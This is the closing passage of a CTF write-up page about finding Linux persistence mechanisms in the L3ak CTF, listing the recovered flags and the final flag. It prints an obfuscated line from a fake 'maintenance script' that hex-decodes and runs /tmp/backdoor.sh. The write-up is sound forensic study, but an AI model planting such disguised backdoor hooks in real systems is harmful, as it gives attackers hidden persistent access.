1476 <span class="c"># Regular maintenance script version 4c33616b7b3130675f376834375f35683331317d</span> 1477 <span class="si">$(</span><span class="nb">echo</span> <span class="nt">-n</span> <span class="s1">'2f746d702f6261636b646f6f722e7368'</span> | xxd <span class="nt">-r</span> <span class="nt">-p</span><span class="si">)</span> 1478 endscript 1479<span class="o">}</span> 1480</code></pre></div></div> 1481 1482<p>The compilation of the file:</p> 1483 1484<p>1 - L3ak{5up3r_5h311_u53r}</p> 1485 1486<p>2 - L3ak{53rv1c3_@nd_T1m3r}</p> 1487 1488<p>3 - L3ak{Cr0n5_50_C71ch3}</p> 1489 1490<p>4 - L3ak{4p7_In57411_5h311}</p> 1491 1492<p>5 - L3ak{initd_2_b0075}</p> 1493 1494<p>6 - L3ak{rc_l0c4l_0n_b00t}</p> 1495 1496<p>7 - L3ak{5h311_0f_7h3_D4y}</p> 1497 1498<p>8 - L3ak{10g_7h47_5h311}</p> 1499 1500<p>We input the flags in the nc listener and we get the final flag:</p> 1501 1502<p><code class="language-plaintext highlighter-rouge">L3AK{C4nt_570p_W0n7_570p_p3rs1st}</code></p> 1503 1504<hr /> 1505 1506<p>Overall, great CTF, I enjoyed really much. Thanks to the L3ak team for the work and hope next year they manage to organize another CTF. Thanks for reading!</p> 1507 1508<p><br /></p> 1509 1510 </section> 1511 </div> 1512 1513 1514 <div class="comments"> 1515 <div id="disqus_thread"></div> 1516
1516<script> 1517 1518 /** 1519 * RECOMMENDED CONFIGURATION VARIABLES: EDIT AND UNCOMMENT THE SECTION BELOW TO INSERT DYNAMIC VALUES FROM YOUR PLATFORM OR CMS. 1520 * LEARN WHY DEFINING THESE VARIABLES IS IMPORTANT: https://disqus.com/admin/universalcode/#configuration-variables*/ 1521 /* 1522 var disqus_config = function () { 1523 this.page.url = PAGE_URL; // Replace PAGE_URL with your page's canonical URL variable 1524 this.page.identifier = PAGE_IDENTIFIER; // Replace PAGE_IDENTIFIER with your page's unique identifier variable 1525 }; 1526 */ 1527 (function() { // DON'T EDIT BELOW THIS LINE 1528 var d = document, s = d.createElement('script'); 1529 s.src = 'https://kashmir54.disqus.com/embed.js'; 1530 s.setAttribute('data-timestamp', +new Date()); 1531 (d.head || d.body).appendChild(s); 1532 })(); 1533 </script>
1533 1534 <noscript>Please enable JavaScript to view the <a href="https://disqus.com/?ref_noscript">comments powered by Disqus.</a> 1535 </noscript> 1536 1537 </div> 1538 1539 1540 1541 1542
1542<script> 1543 var elements = document.getElementsByClassName("lightgallery"); 1544 for(var i=0; i<elements.length; i++) { 1545 lightGallery(elements[i]); 1546 } 1547 </script>
1547 1548
1548<script async defer src="https://buttons.github.io/buttons.js"></script>
1548 1549 </body> 1550</html> 1551
Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.